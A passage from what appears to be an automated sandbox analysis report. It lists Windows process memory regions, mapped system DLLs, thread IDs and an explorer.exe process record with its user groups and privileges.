end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 528 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 529 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 530 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 531 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 532 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 533 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 534 start_va = 0x210000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 535 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 536 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 537 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 538 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 539 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 540 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 541 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 542 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 543 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 544 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 545 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 546 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 547 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 548 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 549 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 550 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 551 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 552 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 553 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 554 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 555 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 556 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 557 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 558 start_va = 0x76670000 end_va = 0x772b9fff entry_point = 0x76670000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 559 start_va = 0x75540000 end_va = 0x7569bfff entry_point = 0x75540000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 560 start_va = 0x75f60000 end_va = 0x75feefff entry_point = 0x75f60000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 561 start_va = 0x20000 end_va = 0x21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 562 start_va = 0x75040000 end_va = 0x750f1fff entry_point = 0x75040000 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\SysWOW64\\dui70.dll" (normalized: "c:\\windows\\syswow64\\dui70.dll") Region: id = 563 start_va = 0x75100000 end_va = 0x7512efff entry_point = 0x75100000 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\SysWOW64\\duser.dll" (normalized: "c:\\windows\\syswow64\\duser.dll") Region: id = 564 start_va = 0x75130000 end_va = 0x7529efff entry_point = 0x75130000 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\SysWOW64\\ExplorerFrame.dll" (normalized: "c:\\windows\\syswow64\\explorerframe.dll") Region: id = 565 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 566 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 567 start_va = 0x74d00000 end_va = 0x74d7ffff entry_point = 0x74d00000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 568 start_va = 0x75010000 end_va = 0x75034fff entry_point = 0x75010000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 569 start_va = 0x75e10000 end_va = 0x75e21fff entry_point = 0x75e10000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 570 start_va = 0x75ff0000 end_va = 0x7618cfff entry_point = 0x75ff0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 571 start_va = 0x76640000 end_va = 0x76666fff entry_point = 0x76640000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 572 start_va = 0x74ce0000 end_va = 0x74cf2fff entry_point = 0x74ce0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 573 start_va = 0x75000000 end_va = 0x75009fff entry_point = 0x75000000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\SysWOW64\\slc.dll" (normalized: "c:\\windows\\syswow64\\slc.dll") Region: id = 574 start_va = 0x74e70000 end_va = 0x74ffffff entry_point = 0x74e70000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 575 start_va = 0x74e60000 end_va = 0x74e67fff entry_point = 0x74e60000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 576 start_va = 0x74400000 end_va = 0x744f4fff entry_point = 0x74400000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 577 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 578 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 579 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 580 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 581 start_va = 0x110000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 582 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 583 start_va = 0x460000 end_va = 0x53efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 584 start_va = 0x7d0000 end_va = 0x8cffff entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 585 start_va = 0x8f0000 end_va = 0x8fffff entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 586 start_va = 0x900000 end_va = 0xa87fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 587 start_va = 0xa90000 end_va = 0xc10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Region: id = 588 start_va = 0xc20000 end_va = 0x201ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c20000" filename = "" Region: id = 589 start_va = 0x2020000 end_va = 0x2412fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002020000" filename = "" Region: id = 590 start_va = 0x2540000 end_va = 0x257ffff entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 591 start_va = 0x743d0000 end_va = 0x743f8fff entry_point = 0x743d0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 592 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 593 start_va = 0x2420000 end_va = 0x245ffff entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 594 start_va = 0x24a0000 end_va = 0x24dffff entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 595 start_va = 0x2580000 end_va = 0x284efff entry_point = 0x2580000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 596 start_va = 0x74230000 end_va = 0x743cdfff entry_point = 0x74230000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 597 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 598 start_va = 0x1a0000 end_va = 0x1a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 599 start_va = 0x2890000 end_va = 0x28cffff entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 600 start_va = 0x2940000 end_va = 0x297ffff entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 601 start_va = 0x741e0000 end_va = 0x7422bfff entry_point = 0x741e0000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 602 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 603 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 604 start_va = 0x754b0000 end_va = 0x75532fff entry_point = 0x754b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 605 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 606 start_va = 0x29e0000 end_va = 0x2a1ffff entry_point = 0x0 region_type = private name = "private_0x00000000029e0000" filename = "" Region: id = 607 start_va = 0x2a30000 end_va = 0x2a6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a30000" filename = "" Region: id = 608 start_va = 0x74e40000 end_va = 0x74e55fff entry_point = 0x74e40000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 609 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 610 start_va = 0x741a0000 end_va = 0x741dafff entry_point = 0x741a0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 611 start_va = 0x74190000 end_va = 0x7419dfff entry_point = 0x74190000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 612 start_va = 0x28f0000 end_va = 0x292ffff entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 613 start_va = 0x2ac0000 end_va = 0x2afffff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 614 start_va = 0x2b40000 end_va = 0x2b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 615 start_va = 0x2c40000 end_va = 0x2c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c40000" filename = "" Region: id = 616 start_va = 0x74140000 end_va = 0x7418dfff entry_point = 0x74140000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 617 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 618 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Thread: id = 18 os_tid = 0x6f8 Thread: id = 19 os_tid = 0x4f4 Thread: id = 20 os_tid = 0x4ac Thread: id = 21 os_tid = 0x658 Thread: id = 22 os_tid = 0x514 Thread: id = 23 os_tid = 0x798 Process: id = "5" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x27f90000" os_pid = "0x6c0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x5cc" cmd_line = "explorer.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 619 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 620 start_va = 0x20000 end_va = 0x21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 621 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 622 start_va = 0x40000 end_va = 0x41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 623 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 624 start_va = 0xc0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 625 start_va = 0x1c0000 end_va = 0x1c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 626 start_va = 0x1d0000 end_va = 0x1d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 627 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 628 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 629 start_va = 0x200000 end_va = 0x200fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 630 start_va = 0x210000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 631 start_va = 0x290000 end_va = 0x417fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 632 start_va = 0x420000 end_va = 0x421fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 633 start_va = 0x430000 end_va = 0x430fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 634 start_va = 0x440000 end_va = 0x53ffff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 635 start_va = 0x540000 end_va = 0x6c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 636 start_va = 0x6d0000 end_va = 0x70ffff entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 637 start_va = 0x710000 end_va = 0x71ffff entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 638 start_va = 0x720000 end_va = 0x1b1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 639 start_va = 0x1b20000 end_va = 0x1f12fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001b20000" filename = "" Region: id = 640 start_va = 0x1f20000 end_va = 0x1f21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f20000" filename = "" Region: id = 641 start_va = 0x1f30000 end_va = 0x1f47fff entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 642 start_va = 0x1f50000 end_va = 0x1f50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f50000" filename = "" Region: id = 643 start_va = 0x1f60000 end_va = 0x1f60fff entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 644 start_va = 0x1f70000 end_va = 0x1f8bfff entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 645 start_va = 0x1f90000 end_va = 0x1f92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f90000" filename = "" Region: id = 646 start_va = 0x1fa0000 end_va = 0x1fa4fff entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 647 start_va = 0x1fb0000 end_va = 0x1fbffff entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 648 start_va = 0x1fc0000 end_va = 0x1fcffff entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 649 start_va = 0x1fd0000 end_va = 0x204ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 650 start_va = 0x2050000 end_va = 0x212efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002050000" filename = "" Region: id = 651 start_va = 0x2130000 end_va = 0x218ffff entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 652 start_va = 0x2190000 end_va = 0x2190fff entry_point = 0x0 region_type = private name = "private_0x0000000002190000" filename = "" Region: id = 653 start_va = 0x21a0000 end_va = 0x21affff entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 654 start_va = 0x21b0000 end_va = 0x222ffff entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 655 start_va = 0x2230000 end_va = 0x24fefff entry_point = 0x2230000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 656 start_va = 0x2500000 end_va = 0x2501fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002500000" filename = "" Region: id = 657 start_va = 0x2510000 end_va = 0x2511fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002510000" filename = "" Region: id = 658 start_va = 0x2520000 end_va = 0x2520fff entry_point = 0x2520000 region_type = mapped_file name = "msctf.dll.mui" filename = "\\Windows\\System32\\en-US\\msctf.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msctf.dll.mui") Region: id = 659 start_va = 0x2530000 end_va = 0x2532fff entry_point = 0x2530000 region_type = mapped_file name = "comctl32.dll.mui" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") Region: id = 660 start_va = 0x2540000 end_va = 0x2540fff entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 661 start_va = 0x2550000 end_va = 0x256bfff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 662 start_va = 0x2570000 end_va = 0x25effff entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 663 start_va = 0x25f0000 end_va = 0x25f0fff entry_point = 0x0 region_type = private name = "private_0x00000000025f0000" filename = "" Region: id = 664 start_va = 0x2600000 end_va = 0x266bfff entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 665 start_va = 0x2670000 end_va = 0x276ffff entry_point = 0x0 region_type = private name = "private_0x0000000002670000" filename = "" Region: id = 666 start_va = 0x2770000 end_va = 0x286ffff entry_point = 0x0 region_type = private name = "private_0x0000000002770000" filename = "" Region: id = 667 start_va = 0x2870000 end_va = 0x289ffff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 668 start_va = 0x28a0000 end_va = 0x28affff entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 669 start_va = 0x28b0000 end_va = 0x28bffff entry_point = 0x0 region_type = private name = "private_0x00000000028b0000" filename = "" Region: id = 670 start_va = 0x28c0000 end_va = 0x28cffff entry_point = 0x0 region_type = private name = "private_0x00000000028c0000" filename = "" Region: id = 671 start_va = 0x28d0000 end_va = 0x28dffff entry_point = 0x0 region_type = private name = "private_0x00000000028d0000" filename = "" Region: id = 672 start_va = 0x28e0000 end_va = 0x28effff entry_point = 0x0 region_type = private name = "private_0x00000000028e0000" filename = "" Region: id = 673 start_va = 0x28f0000 end_va = 0x28fffff entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 674 start_va = 0x2900000 end_va = 0x290ffff entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 675 start_va = 0x2910000 end_va = 0x291ffff entry_point = 0x0 region_type = private name = "private_0x0000000002910000" filename = "" Region: id = 676 start_va = 0x2920000 end_va = 0x292ffff entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 677 start_va = 0x2930000 end_va = 0x293ffff entry_point = 0x0 region_type = private name = "private_0x0000000002930000" filename = "" Region: id = 678 start_va = 0x2940000 end_va = 0x2941fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002940000" filename = "" Region: id = 679 start_va = 0x2950000 end_va = 0x2950fff entry_point = 0x0 region_type = private name = "private_0x0000000002950000" filename = "" Region: id = 680 start_va = 0x2960000 end_va = 0x2960fff entry_point = 0x0 region_type = private name = "private_0x0000000002960000" filename = "" Region: id = 681 start_va = 0x2970000 end_va = 0x2978fff entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 682 start_va = 0x2980000 end_va = 0x2987fff entry_point = 0x0 region_type = private name = "private_0x0000000002980000" filename = "" Region: id = 683 start_va = 0x2990000 end_va = 0x29aefff entry_point = 0x2990000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000016.db") Region: id = 684 start_va = 0x29b0000 end_va = 0x29b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000029b0000" filename = "" Region: id = 685 start_va = 0x29c0000 end_va = 0x29c3fff entry_point = 0x29c0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 686 start_va = 0x29d0000 end_va = 0x2a4ffff entry_point = 0x0 region_type = private name = "private_0x00000000029d0000" filename = "" Region: id = 687 start_va = 0x2a50000 end_va = 0x2b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a50000" filename = "" Region: id = 688 start_va = 0x2b50000 end_va = 0x2c4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b50000" filename = "" Region: id = 689 start_va = 0x2c50000 end_va = 0x2e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c50000" filename = "" Region: id = 690 start_va = 0x2e50000 end_va = 0x3192fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002e50000" filename = "" Region: id = 691 start_va = 0x31a0000 end_va = 0x31cffff entry_point = 0x31a0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: 